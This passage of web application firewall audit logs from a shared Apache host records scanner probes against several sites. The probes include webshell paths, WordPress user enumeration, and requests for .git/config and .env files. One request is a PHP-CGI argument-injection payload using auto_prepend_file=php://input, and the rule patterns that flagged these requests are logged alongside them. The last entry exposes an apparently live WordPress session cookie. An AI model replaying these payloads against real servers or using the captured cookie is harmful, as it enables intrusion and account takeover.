Cache-Control: max-age=0
referer: www.google.com
Upgrade-Insecure-Requests: 1

--e336c362-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.3.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e336c362-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/images/images/cache.php||SC:/var/www/vhosts/mediabuy.ro/httpdocs/images"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/images/images/cache.php||SC:/var/www/vhosts/mediabuy.ro/httpdocs/images"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/images/images/cache.php||SC:/var/www/vhosts/mediabuy.ro/httpdocs/images"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "mediabuy.ro"] [uri "/images/images/cache.php"] [unique_id "aqawVEwu1RSkptiiNIX-ngAAAJg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/images/images/cache.php||SC:/var/www/vhosts/mediabuy.ro/httpdocs/images"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "mediabuy.ro"] [uri "/images/images/cache.php"] [unique_id "aqawVEwu1RSkptiiNIX-ngAAAJg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/mediabuy.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789309012502565 34279 (- - -)
Stopwatch2: 1789309012502565 34279; combined=4560, p1=283, p2=4131, p3=0, p4=0, p5=145, sr=124, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e336c362-Z--

--657d592f-A--
[13/Sep/2026:17:24:51.155026 +0300] aqayM2M7dE9KgIIOpQiD6wAAAM8 129.146.116.242 41430 127.0.0.1 7081
--657d592f-B--
GET /wp-admin/css/ HTTP/1.1
Host: axapres.ro
X-Real-IP: 129.146.116.242
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept-Language: en-US,en;q=0.9,fr;q=0.8
Cache-Control: max-age=0
referer: binance.com
Upgrade-Insecure-Requests: 1

--657d592f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--657d592f-E--

--657d592f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_autoindex.c"] [line 2329] [level 3] AH01276: Cannot serve directory /var/www/vhosts/axapres.ro/httpdocs/wp-admin/css/: No matching DirectoryIndex (index.php,index.html,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
Apache-Handler: httpd/unix-directory
Stopwatch: 1789309491143161 11961 (- - -)
Stopwatch2: 1789309491143161 11961; combined=6234, p1=1244, p2=4529, p3=83, p4=7, p5=370, sr=226, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--657d592f-Z--

--44771a77-A--
[13/Sep/2026:17:29:56.897872 +0300] aqazZGM7dE9KgIIOpQiEQQAAAMQ 35.239.27.78 41170 127.0.0.1 7081
--44771a77-B--
GET //?author=1 HTTP/1.1
Host: chania24.taxi
X-Real-IP: 35.239.27.78
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

--44771a77-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--44771a77-E--

--44771a77-H--
Message: Operator GE matched 1 at ARGS:author. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "59"] [id "77140876"] [msg "IM360 WAF: Track WordPress users enumeration||MVN:ARGS:author||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789309796189166 708773 (- - -)
Stopwatch2: 1789309796189166 708773; combined=3284, p1=264, p2=2822, p3=89, p4=54, p5=54, sr=113, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--44771a77-Z--

--b039955c-A--
[13/Sep/2026:17:29:59.951846 +0300] aqazZUwu1RSkptiiNIUADwAAAIY 35.239.27.78 41178 127.0.0.1 7081
--b039955c-B--
GET //wp-json/wp/v2/users/ HTTP/1.1
Host: chania24.taxi
X-Real-IP: 35.239.27.78
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

--b039955c-F--
HTTP/1.1 401 Unauthorized
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link: <https://chania24.taxi/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Allow: GET
Vary: Origin
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8

--b039955c-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Message: Operator EQ matched 0 at REQUEST_COOKIES. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "426"] [id "77316783"] [msg "IM360 WAF: Monitoring WordPress 5.3 User Enumeration attempts||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "wp_core"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789309797270366 2681542 (- - -)
Stopwatch2: 1789309797270366 2681542; combined=33810, p1=239, p2=33504, p3=0, p4=0, p5=67, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b039955c-Z--

--14b8c30e-A--
[13/Sep/2026:17:35:18.723727 +0300] aqa0pmM7dE9KgIIOpQiElgAAAMI 216.126.237.47 40148 127.0.0.1 7081
--14b8c30e-B--
GET /.git/config HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 216.126.237.47
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept-Encoding: gzip

--14b8c30e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--14b8c30e-E--

--14b8c30e-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.git/config"] [unique_id "aqa0pmM7dE9KgIIOpQiElgAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.git/config"] [unique_id "aqa0pmM7dE9KgIIOpQiElgAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.git/config"] [unique_id "aqa0pmM7dE9KgIIOpQiElgAAAMI"]
Stopwatch: 1789310118687165 36612 (- - -)
Stopwatch2: 1789310118687165 36612; combined=34981, p1=340, p2=34514, p3=69, p4=7, p5=51, sr=145, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--14b8c30e-Z--

--8ab0b52f-A--
[13/Sep/2026:17:39:57.128489 +0300] aqa1vEhjHs68UzErry1JUwAAAIA 164.92.244.132 57378 127.0.0.1 7081
--8ab0b52f-B--
GET /.DS_Store HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 164.92.244.132
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (l9scan/2.0.039313e273e29333e29383; +https://leakix.net)
Accept-Encoding: gzip

--8ab0b52f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 46c5a311-2263-4edd-b094-d68cdf3130ce
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8ab0b52f-H--
Message: Warning. Matched phrase ".DS_Store" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ds_store||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".DS_Store" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ds_store||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".DS_Store" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ds_store||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/.DS_Store"] [unique_id "aqa1vEhjHs68UzErry1JUwAAAIA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".DS_Store" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ds_store||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.ihelp.ro"] [uri "/.DS_Store"] [unique_id "aqa1vEhjHs68UzErry1JUwAAAIA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789310396939703 188843 (- - -)
Stopwatch2: 1789310396939703 188843; combined=32618, p1=290, p2=32253, p3=0, p4=0, p5=74, sr=92, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--8ab0b52f-Z--

--64e2cd1d-A--
[13/Sep/2026:17:39:58.141284 +0300] aqa1vfut1GUrjaX0wO4ykgAAAMA 164.92.244.132 57386 127.0.0.1 7081
--64e2cd1d-B--
GET /.env HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 164.92.244.132
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (l9scan/2.0.039313e273e29333e29383; +https://leakix.net)
Accept-Encoding: gzip

--64e2cd1d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 3216e623-8a8b-414e-a2c1-b15e0bb0dc86
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--64e2cd1d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "www.ihelp.ro"] [uri "/.env"] [unique_id "aqa1vfut1GUrjaX0wO4ykgAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789310397954131 187211 (- - -)
Stopwatch2: 1789310397954131 187211; combined=5802, p1=1062, p2=4676, p3=0, p4=0, p5=63, sr=113, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--64e2cd1d-Z--

--f2125e26-A--
[13/Sep/2026:17:40:03.280571 +0300] aqa1wkhjHs68UzErry1JVQAAAJU 164.92.244.132 57426 127.0.0.1 7081
--f2125e26-B--
GET /.git/config HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 164.92.244.132
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (l9scan/2.0.039313e273e29333e29383; +https://leakix.net)
Accept-Encoding: gzip

--f2125e26-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: ad0c21cb-4034-45ee-8949-1ca7c4d452c3
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f2125e26-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/.git/config"] [unique_id "aqa1wkhjHs68UzErry1JVQAAAJU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.ihelp.ro"] [uri "/.git/config"] [unique_id "aqa1wkhjHs68UzErry1JVQAAAJU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/.git/config"] [unique_id "aqa1wkhjHs68UzErry1JVQAAAJU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789310402064257 1216427 (- - -)
Stopwatch2: 1789310402064257 1216427; combined=59438, p1=364, p2=58981, p3=0, p4=0, p5=93, sr=138, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--f2125e26-Z--

--8ab0b52f-A--
[13/Sep/2026:17:40:03.926468 +0300] aqa1wxsbgHO3aGL3jiTwAQAAABA 164.92.244.132 57438 127.0.0.1 7081
--8ab0b52f-B--
POST /graphql HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 164.92.244.132
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (l9scan/2.0.039313e273e29333e29383; +https://leakix.net)
Accept: application/json
Content-Type: application/json
Accept-Encoding: gzip

--8ab0b52f-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 0f47bf98-2f93-413e-8570-057fcfea0269
Transfer-Encoding: chunked
Content-Type: application/json

--8ab0b52f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789310403538002 388584 (- - -)
Stopwatch2: 1789310403538002 388584; combined=7660, p1=436, p2=6808, p3=0, p4=0, p5=415, sr=139, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--8ab0b52f-Z--

--f2125e26-A--
[13/Sep/2026:17:40:04.719259 +0300] aqa1xBsbgHO3aGL3jiTwAgAAABI 164.92.244.132 57478 127.0.0.1 7081
--f2125e26-B--
POST /api HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 164.92.244.132
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (l9scan/2.0.039313e273e29333e29383; +https://leakix.net)
Accept: application/json
Content-Type: application/json
Accept-Encoding: gzip

--f2125e26-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 1dc3617c-ba38-4a07-85af-b7529eab56bb
Transfer-Encoding: chunked
Content-Type: application/json

--f2125e26-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789310404254292 465268 (- - -)
Stopwatch2: 1789310404254292 465268; combined=6766, p1=385, p2=6094, p3=0, p4=0, p5=286, sr=117, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--f2125e26-Z--

--653e4c1b-A--
[13/Sep/2026:17:40:05.216910 +0300] aqa1xfut1GUrjaX0wO4ymQAAANM 164.92.244.132 57508 127.0.0.1 7081
--653e4c1b-B--
POST /graphql/api HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 164.92.244.132
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (l9scan/2.0.039313e273e29333e29383; +https://leakix.net)
Accept: application/json
Content-Type: application/json
Accept-Encoding: gzip

--653e4c1b-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 881bf471-acc6-4243-8592-ee9a5a745e24
Transfer-Encoding: chunked
Content-Type: application/json

--653e4c1b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789310405123734 93239 (- - -)
Stopwatch2: 1789310405123734 93239; combined=5462, p1=254, p2=4857, p3=0, p4=0, p5=350, sr=85, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--653e4c1b-Z--

--37275700-A--
[13/Sep/2026:17:40:08.969314 +0300] aqa1yPut1GUrjaX0wO4yngAAAMQ 164.92.244.132 46570 127.0.0.1 7081
--37275700-B--
POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D""+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 164.92.244.132
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 164
User-Agent: Mozilla/5.0 (l9scan/2.0.039313e273e29333e29383; +https://leakix.net)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

--37275700-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 53ddd00a-1fe4-46c2-ac4e-36c8b2eb057b
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--37275700-H--
Message: Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\xadd cgi.force_redirect=0 \xadd disable_functions="" \xadd allow_url_include=1 \xadd auto_prepend_file=php://input. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "43"] [id "77218420"] [msg "IM360 WAF: PHP Injection Attack: I/O Stream Found||MVN:ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd disable_functions=\"\" \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input||MV:\xadd cgi.force_redirect=0 \xadd disable_functions=\"\" \xadd allow_url_include=1 \xadd auto_prepend_file=php://input||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:\\xadd cgi.force_r...=& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789310408795800 173566 (- - -)
Stopwatch2: 1789310408795800 173566; combined=6009, p1=326, p2=5423, p3=0, p4=0, p5=260, sr=121, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--37275700-Z--

--45e09a05-A--
[13/Sep/2026:17:49:04.204608 +0300] aqa33-ut1GUrjaX0wO4zpAAAAMw 78.87.196.204 42948 127.0.0.1 7081
--45e09a05-B--
GET /wp-json/wp/v2/users/me?context=edit&_locale=user HTTP/1.1
Host: chania24.taxi
X-Real-IP: 78.87.196.204
X-WP-Nonce: 6d27a0e876
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: application/json, */*;q=0.1
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Google Chrome";v="152"
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://chania24.taxi/wp-admin/post.php?post=20679&action=edit
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-GB,en;q=0.9,el-GR;q=0.8,el;q=0.7
Cookie: _ga=GA1.1.181966085.1712228971; wordpress_test_cookie=WP%20Cookie%20check; PHPSESSID=uvavbn46mi2tbhkd53hndac7cj; tk_ai=woo%3A6U8Jr%2Fb8Fq7mZoDTPFbFvvz1; wp_lang=en_US; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist%26mfold%3Do; wp-settings-time-1=1776878041; _gcl_au=1.1.1307926906.1788109074; cookieconsent_status=dismiss; _ga_9DD6XGB9ZW=GS2.1.s1788802881$o7$g0$t1788802881$j60$l0$h0; wordpress_logged_in_98ee36b231f2fb45b3e687cbf04c847e=chania24%7C1789316727%7CSamQAt7NLYEM5B4PT80Yt44Vwl5GXW9LRLMrAZo4zYN%7Cf2623c0c5e3be4ba3d134c4718e3e24da9b83b92d22e20489b822e552da9a54b; 